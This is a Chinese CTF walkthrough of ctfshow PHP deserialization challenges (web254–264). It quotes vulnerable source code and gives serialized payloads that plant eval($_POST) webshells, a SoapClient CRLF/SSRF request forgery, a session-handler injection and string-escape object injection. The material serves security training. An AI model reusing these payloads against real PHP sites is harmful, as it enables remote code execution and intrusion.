web254

函数

__sleep() //执行serialize()时,先会调用这个函数
__wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符时绕过)
__construct() //当对象被创建时,会触发进行初始化
__destruct() //对象被销毁时触发
__toString(): //当一个对象被当作字符串使用时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量)
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试以调用函数的方式调用一个对象时

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-12-02 17:44:47
Last Modified by: h1xa
Last Modified time: 2020-12-02 19:29:02
email: h1xa@ctfer.com
link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

这题连序列化,反序列化函数都没有,直接get传参

?username=xxxxxx&password=xxxxxx

image-20220327121200946

web255

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-12-02 17:44:47
Last Modified by: h1xa
Last Modified time: 2020-12-02 19:29:02
email: h1xa@ctfer.com
link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){#如果设置了username和password
$user = unserialize($_COOKIE['user']);#反序列化cookie的user
if($user->login($username,$password)){#传入username和password去和本身的username与password比较
if($user->checkVip()){#检查是不是vip
$user->vipOneKeyGetFlag();#给flag
}
}else{
echo "no vip,no flag";
}
}

image-20220330142836747

image-20220330142842331

web256

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-12-02 17:44:47
Last Modified by: h1xa
Last Modified time: 2020-12-02 19:29:02
email: h1xa@ctfer.com
link: https://ctfer.com
*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){#如果username不等于passwd
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
<?php

class ctfShowUser{
public $username='wanan';
public $password='123';
public $isVip=true;
}

$user = new ctfShowUser();
echo urlencode(serialize($user));

#O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22wanan%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22123%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

get传入的username和password要等于反序列化对象的username和passwd哦

?username=wanan&password=123
Cookie : user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22wanan%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22123%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

image-20220405181046970

web257

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-12-02 17:44:47
Last Modified by: h1xa
Last Modified time: 2020-12-02 20:33:07
email: h1xa@ctfer.com
link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){#当对象创建时触发
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){#当对象销毁时触发
$this->class->getInfo();#thisclass属性去调用getinfo()函数,那么就需要class是一个backDoor对象
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);#最终终点
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}



<?php

class ctfShowUser{

public function __construct()
{
$this->class = new backDoor();
}
}
class backDoor{
private $code='phpinfo();eval($_POST[zf]);';
public function getInfo(){
eval($this->code);
}
}

$final = new ctfShowUser();
echo urlencode(serialize($final));

#O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A27%3A%22phpinfo%28%29%3Beval%28%24_POST%5Bzf%5D%29%3B%22%3B%7D%7D

image-20220405181331408

image-20220405181343542

修改属性的方式

这里总共有三种修改属性的方式

直接写

优点是方便,缺点是只能赋值字符串

class wanan{
public $str = "eval";
public $int = "phpinfo()";
}

外部赋值

优点是可以赋值任意类型的值,缺点是只能操作public属性

<?php
class DEMO1{
public $func;
public $arg ;
}
$o = new DEMO1();
$o->func = 'evil';
$o->arg = 'phpinfo();';
echo(urlencode(serialize($o)));

对于php7.1+的版本,反序列化对属性类型不敏感,题目虽然类下的属性可能不是public,但是我们可以本地改成public,然后生成public的序列化字符串.由于7.1+版本的容错机制,尽管属性类型错误,php也可以识别,反序列化成功.这样也可以绕过\0字符的过滤

构造方法赋值

优点是解决上面缺点,缺点是麻烦

<?php
class DEMO1{
public $func;
public $arg ;
function __construct(){
$this->func = 'evil';
}
}
$o = new DEMO1();
echo(urlencode(serialize($o)));

web258

反序列化绕过+匹配

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-12-02 17:44:47
Last Modified by: h1xa
Last Modified time: 2020-12-02 21:38:56
email: h1xa@ctfer.com
link: https://ctfer.com
*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
#/[oc]:\d+:/i表示匹配o:1333:或者c:1233:这个就不能匹配o:+1333:
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

至于为什么用加号函数定义就是这么写的,如果是+那么也能正常执行(以前看到其他解释说的是,+1和1没区别,但是没有说这里C实现的过程)

image-20220405182229433

注意不要直接复制257的哦,属性有修改的

<?php

class ctfShowUser{

public function __construct()
{
$this->class = new backDoor();
}
}
class backDoor{
public $code='eval($_POST[zf]);';
public function getInfo(){
eval($this->code);
}
}

$final = new ctfShowUser();
$final = serialize($final);
$final = str_replace("O:11","O:+11",$final);
$final = str_replace("O:8","O:+8",$final);
echo urlencode($final);

#O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22eval%28%24_POST%5Bzf%5D%29%3B%22%3B%7D%7D

image-20220405183256058

web259

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();


flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);#将xff头安照,分割成数组
array_pop($xff);#删除数组中最后一个元素
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

explode() 函数把字符串打散为数组。
注释:"separator" 参数不能是空字符串。
注释:该函数是二进制安全的。

array_pop() 函数删除数组中的最后一个元素。
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
'X-Forwarded-For: 127.0.0.1,127.0.0.1',
'UM_distinctid:175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'y4tacker^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);

#O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A208%3A%22y4tacker%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AUM_distinctid%3A175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

image-20220406145118002

接着查看flag.txt

image-20220406145206510

php原生类反序列化利用

SoapClient介绍

php在安装php-soap扩展后,可以反序列化原生类soapclient,来发送http post请求,必须调用soapclient不存在的方法,触发soapclient的__call魔术方法.通过crlf来添加请求题;soapclient可以指定user-agent头,通过添加换行符的形式来加入其他请求内容

soapclient采用了http作为底层通讯协议,xml作为数据传送的格式,其采用了soap协议(是一种简单的基于xml的协议,它是应用程序通过http来交换信息).

首先看一下自己有没有soap包扩展,多半是没有的

image-20220406134031661

find / -name soap

image-20220406140810430

cd /lnmp/php-7.3.5/ext/soap
phpize
./configure -with-php-config=/usr/local/php/bin/php-config -enable-soap./configure -with-php-config=/usr/local/php/bin/php-config -enable-soap
make
make install

image-20220406140907376

/usr/local/php/lib/php/extensions/no-debug-non-zts-20180731/

手工修改:查找/usr/local/php/lib/php.ini中的extension_dir = “./”,默认是注释掉的
修改为extension_dir = “/usr/local/php/lib/php/extensions/no-debug-non-zts-20111222/”
并在此行后增加如下,然后保存

extension=soap.so

image-20220406141225975

service php-fpm restart
php -m

image-20220406141348584

在kali上监听一下8888端口

image-20220406134816758

新建一个soap.php利用代码,这里直接就在服务器上实现了

<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://192.168.5.152:8888'));
$b = serialize($a);
$c = unserialize($b);
$c -> not_a_function();//调用不存在的方法,让SoapClient调用__call

访问一下这个soap.php文件

image-20220406142534457

这里可以看到这个soapaction是我们的可控参数,因此我们可以尝试注入我们自己恶意构造的CRLF即插入\r\n

CRLF

<?php
$a = new SoapClient(null,array('uri'=>"bbb\r\n\r\ntest\r\n", 'location'=>'http://192.168.5.152:8888'));
$b = serialize($a);
$c = unserialize($b);
$c -> not_a_function();//调用不存在的方法,让SoapClient调用__call

image-20220406143301179

但是还有个问题我们再发送POST数据的时候是需要遵循HTTP协议,指定请求头Content-Type: application/x-www-form-urlencoded但Content-Type在SOAPAction的上面,就无法控制Content-Type,也就不能控制POST的数据

<?php
$target = 'http://192.168.5.152:8888';
$post_string = 'token=ctfshow';

$b = new SoapClient(null,array('location' => $target,'user_agent'=>'y4tacker^^Content-Type: application/x-www-form-urlencoded^^'.'Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
$c = unserialize($aaa);
$c-> not_a_function();

image-20220406144655446

可以看到是成功了的

web260

 <?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}

serialize序列化内容之后要包含 ctfshow_i_love_36D 就可以输出flag

<?php
echo serialize('ctfshow_i_love_36D');
#s:18:"ctfshow_i_love_36D";

所以直接传入ctfshow_i_love_36D

image-20220406145552739

web261

<?php

highlight_file(__FILE__);

class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){#当对象被创建时调用
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){#当反序列化之后调用
if($this->username!='' || $this->password!=''){#如果username或者password不等于空即结束
die('error');
}
}
public function __invoke(){#当尝试以调用函数的方法调用对象是调用
eval($this->code);
}

public function __sleep(){#当执行serialize()时调用
$this->username='';
$this->password='';
}
public function __unserialize($data){#当unserialize时调用
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;#密码等于usernamepassword
}
public function __destruct(){#当对象销毁时调用
if($this->code==0x36d){#如果code弱等于0x36d,这里代表数字所以username就是877.php就好啦
file_put_contents($this->username, $this->password);
}
}
}

unserialize($_GET['vip']);
<?php

class ctfshowvip{
public $username='877.php';
public $password='<?php eval($_POST[zf]);?>';

}
$final = new ctfshowvip();
echo urlencode(serialize($final));
#O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+eval%28%24_POST%5Bzf%5D%29%3B%3F%3E%22%3B%7D

image-20220406150917802

image-20220406150923265

image-20220406151019683

image-20220406151042537

web262

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-12-03 02:37:19
Last Modified by: h1xa
Last Modified time: 2020-12-03 16:05:38
message.php
email: h1xa@ctfer.com
link: https://ctfer.com

*/


error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}

highlight_file(__FILE__);

这里读了一下没有能利用的地方啊,但是他的注释里面有一个message.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-12-03 15:13:03
Last Modified by: h1xa
Last Modified time: 2020-12-03 15:17:17
email: h1xa@ctfer.com
link: https://ctfer.com

*/
highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

这跟index有关系吗

<?php

class message{
public $token='admin';
}
$final = new message();
echo base64_encode(serialize($final));
#Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

image-20220406152246816

web263

image-20220406152549970

源码呢,快给我源码,别扫太快,不然全是503

image-20220406152827569

php三种处理器对$_SESSION数据进行序列化和反序列化

  • php在session存储和读取的时候,都会有一个序列化和反序列化的过程,php内置了多种处理器用于存取$_SESSION数据,都会对数据序列化和反序列化,源码中有session_start的时候会读取session,从而进行反序列化
  • php.ini中默认session.serialize_handler为php_serialize,而index.php中将其设置为php,这个差异导致了session的反序列化问题
  • php有三种处理器对$_SESSION数据进行序列化和反序列化
选择器 存储格式 样例 $_SESSION[‘name’]=’ocean’
php_serialize 经过serialize()函数序列化数组 a:1:{s:4:“name”;s:5:“ocean”;}
php(默认) 键名 竖线 经过serialize()函数处理的值 name|s:5:“ocean”;
php_binary 键名的长度对应的ascii字符佳宁serialize()函数序列化的值 name s:6:“spoock”;

index.php

error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){#注意下面的limit是错误的哦仔细看,所以这里只会执行后面的cookie的limit=session的limit哦
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}

check.php

<?php

error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);


if($GET){

$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}

小小观察一手,发现没什么可以利用的点,但是发现了包含了/inc/inc.php也就是一个配置信息

inc.php

<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');#这里设置了session.serialize_handler为php而index.php中默认是php_serialize要注意的是index.php中没有包含这个文件
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
'database_type' => 'mysql',
'database_name' => 'web',
'server' => 'localhost',
'username' => 'root',
'password' => 'root',
'charset' => 'utf8',
'port' => 3306,
'prefix' => '',
'option' => [
PDO::ATTR_CASE => PDO::CASE_NATURAL
]
]);

// sql注入检查
function checkForm($str){
if(!isset($str)){
return true;
}else{
return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
}
}


class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){#这里给了一个写入文件的方法,没过滤可以利用
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}

/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/

function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr ( $chars, 0, 8 ) . '-'
. substr ( $chars, 8, 4 ) . '-'
. substr ( $chars, 12, 4 ) . '-'
. substr ( $chars, 16, 4 ) . '-'
. substr ( $chars, 20, 12 );
return $uuid ;
}

index.php页面session.serialize_handler为php_serialize,存储在里面的值是经过序列化的,check.php和inc/inc.php的session.seralize_handler为php,而且使用了session_start(),可以读取session文件进行反序列化操作.如果不进行操作,index.php页面存储的session是不能正常在check.php和inc.php进行反序列化的,但是我们可以在属性的值中间加入|.这样在check.php和inc/inc.php页面进行放序列化的时候|前面的就会被看做键名,会对|后面进行反序列化.

这里的构造主要是要放入session文件里面,这里的session不能让index.php页面执行,但是要让check.php和/inc/inc.php页面执行,那么的话就是可以使用php方式存储进去

<?php
class User{
public $username="2.php";
public $password='<?php eval($_POST[zf]);?>';
}
$final = new User();
echo base64_encode("|".serialize($final));
#fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIyLnBocCI7czo4OiJwYXNzd29yZCI7czoyNToiPD9waHAgZXZhbCgkX1BPU1RbemZdKTs%2FPiI7fQ%3D%3D

这里我们只是存储进去,如果要生成的话就需要访问check.php文件来生成log-zf.php文件

这里的文件名好像只能是数字的别的就是访问不到

image-20220406163546200

访问check.php文件进行反序列化

image-20220406163631199

访问log-2.php文件

image-20220406163720062

image-20220406163747519

web264

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-12-03 02:37:19
Last Modified by: h1xa
Last Modified time: 2020-12-03 16:05:38
message.php
email: h1xa@ctfer.com
link: https://ctfer.com

*/


error_reporting(0);
session_start();

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}

highlight_file(__FILE__);

还有message.php文件

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-12-03 15:13:03
Last Modified by: h1xa
Last Modified time: 2020-12-03 15:17:17
email: h1xa@ctfer.com
link: https://ctfer.com

*/
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

可以看到这里稍稍有点改变,也就是解码的是session的msg而不是cookie的msg

那么就变成了字符串逃逸问题了,每有一个fuck就会逃逸出来一个字符

先让我们看看它原来是什么样的

<?php
class message{
public $to='fuck';
public $token='user';
}
$final = new message();
echo serialize($final);
#O:7:"message":2:{s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";} 这是原来的
#O:7:"message":2:{s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";} 这是进行了替换之后的,当然这里就不能进行反序列化了

但是可以看到没一个fuck就会多出一个字符来.那么这样

#O:7:"message":2:{s:2:"to";s:5:"fuck"";s:5:"token";s:4:"user";}	如果我传入一个fuck"
#O:7:"message":2:{s:2:"to";s:5:"loveU"";s:5:"token";s:4:"user";} 仔细观察就会发现到s:5:"loveU""这里是多了一个单引号,但是前面是成功闭合了的.如果我直接在这里进行中断呢
#O:7:"message":2:{s:2:"to";s:5:"loveU";}";s:5:"token";s:4:"user";} 是不是就结束了啊,不过这里是直接加的我们可以构造一下

这个是我们像要的

O:7:"message":2:{s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";}

仔细看哦就是这一部分

";s:5:"token";s:5:"admin";}

那么总共多少个呢总共27个,那么我们就需要27个fuck

O:7:"message":2:{s:2:"to";s:4:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:4:"user";}

那么自己手动拼接起来是这样的,但是前面的4肯定是不对的,但是你可以仔细观察,这个值不是我们传进去的吗,序列化生成的当然对

fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
index.php?f=x&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";} 	这里不要用hackbar传哦
message.php
改一下cookie

image-20220406181123810

不要用hackbar传哦

PHP字符逃逸导致的对象注入

​ 序列化的字符串在经过过滤函数不正确的处理而导致对象注入,目前看到都是因为过滤函数放在了serialize函数之后,要是放在序列化之前应该就不会产生这个问题

<?php
function filter($string){
$a = str_replace('x','zz',$string);
return $a;
}

$username = "tr1ple";
$password = "aaaaax";
$user = array($username, $password);

echo(serialize($user));#输出一个序列化后的$use=a:2:{i:0;s:6:"tr1ple";i:1;s:6:"aaaaax";}
echo "\n";

$r = filter(serialize($user));#经过过滤将x过滤为zz s:6:"aaaaazz";s的长度会发生改变 valueName = "a:2:{i:0;s:6:"tr1ple";i:1;s:6:"aaaaazz";}"

echo($r);
echo "\n";

var_dump(unserialize($r));

php特性:

1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的
2.对类中不存在的属性也会进行反序列化

以上代码就明显存在一个问题,即从序列化后的字符串中明显可以看到经过filter函数以后s:6对应的字符串明显变长了.并且如果对于a:2:{i:0;s:6:”tr1ple”;i:1;s:5:”aaaaa”;}i:1;s:5:”aaaaa”; 这种字符串而言,也能够正常反序列化,说明php在反序列化的时候只要求一个反序列化字符串块合法即可,当然得是第一个字符串块

以以上代码为例,如果能够利用filter函数这种由一个字符变为两个字符的特性来注入想要反序列化后得到的属性,使其可以逃逸出更多可用的字符串,那么我们就能反序列化得到我们想要的属性

比如此时我们想要让反序列化后第二个字符串为123456,此时我们的payload如果和之前的username长度为a,则filter处理以后可能username就会变成a,此时我们的payload变成了新的注入的属性,此时反序列化后就会得到我们想要的结果,比如a:2:{i:0;s:6:”tr1ple”;i:1;s:6:”123456”;}是我们想要达到的效果,此时我们想要注入的payload明显为:

“;i:1;s:6:”123456”;}

可以得到其长度为20

此时我们已经知道过滤的规则为x->yy,即注入一个x可以逃逸出一个字符的空位,那么我们只需要注入20个x即可变成40个y,即可逃逸出20个空位,从而将我们的payload变为反序列化后得到的属性值

$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:6:"aaaaa1";';
var_dump(unserialize($a));
$username = 'tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'; //其中红色就是我们想要注入的属性值
$password="aaaaa";
$user = array($username, $password);
echo(serialize($user));
echo "\n";

$r = filter(serialize($user));

echo($r);
echo "\n";
var_dump(unserialize($r));

实例:

<?php
// php版本:5.4.44
#header("Content-type: text/html; charset=utf-8");
#highlight_file(__FILE__);

class evil{
public $hint;

public function __construct($hint){
$this->hint = $hint;
}

public function __destruct(){
if($this->hint==="hint.php")
@$this->hint = base64_encode(file_get_contents($this->hint));
var_dump($this->hint);
}

function __wakeup() {
if ($this->hint != "╭(●`∀´●)╯") {
//There's a hint in ./hint.php
$this->hint = "╰(●’◡’●)╮";
}
}
}

class User
{
public $username;
public $password;

public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}

}

function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$t1=chr(0).'*'.chr(0);
$tmp = $data;
}

function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}

$tmp = "test";
$username = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
$password = 'a";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}';

$a = serialize(new User($username, $password));
echo $a;
if(preg_match('/flag/is',$a))
die("NoNoNo!");

unserialize(read(write($a)));
//$r1 = new evil('hint.php');
//echo (serialize($r1));# O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}绕过wakeup函数变为O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
#O:4:"User":2:{s:8:"username";s:24:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";}
var_dump(unserialize('O:4:"User":2:{s:8:"username";s:2:"11";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";}'));

我们重点看到的是两个类,在evil类里$this->hint指向文件触发file_get_contents函数读取文件内容,然后提示有个hint.php,肯定要构造触发这个evil类,但是看接入点,是post进去username和password两个参数,然后触发的是User类,但是有个read和write方法,经过处理后才进行序列化,这个就是个典型的字符串逃逸,具体原理可以参考文章PHP字符逃逸导致的对象注入
我们要逃逸出发evil类的payload为

O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}

user类触发为

O:4:"User":2:{s:8:"username";s:3:"123";s:8:"password";s:41:"O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}

所以我们要逃逸的就是”;s:8:”password”;s:41:”共23个字符,然后一对\0\0\0可以逃逸三个字符,我们就再添一个a进去凑成24个,用8对进行逃逸,但是会触发wakeup函数,使我们的hint指向一个颜文字,利用wakeup函数漏洞,将属性个数从1改成2即可绕过,最终构造的payload为

username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=a";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

得到一个

<?php
$hint = "index.cgi";
// You can't see me~

直接访问index.cgi

{
"args": {
"name": "Bob"
},
"headers": {
"Accept": "*/*",
"Host": "httpbin.org",
"User-Agent": "curl/7.64.0",
"X-Amzn-Trace-Id": "Root=1-620a1f2c-4d7449205354f22625cdf096"
},
"origin": "114.67.175.224",
"url": "http://httpbin.org/get?name=Bob"
}

发现是通过get方法获取name的值

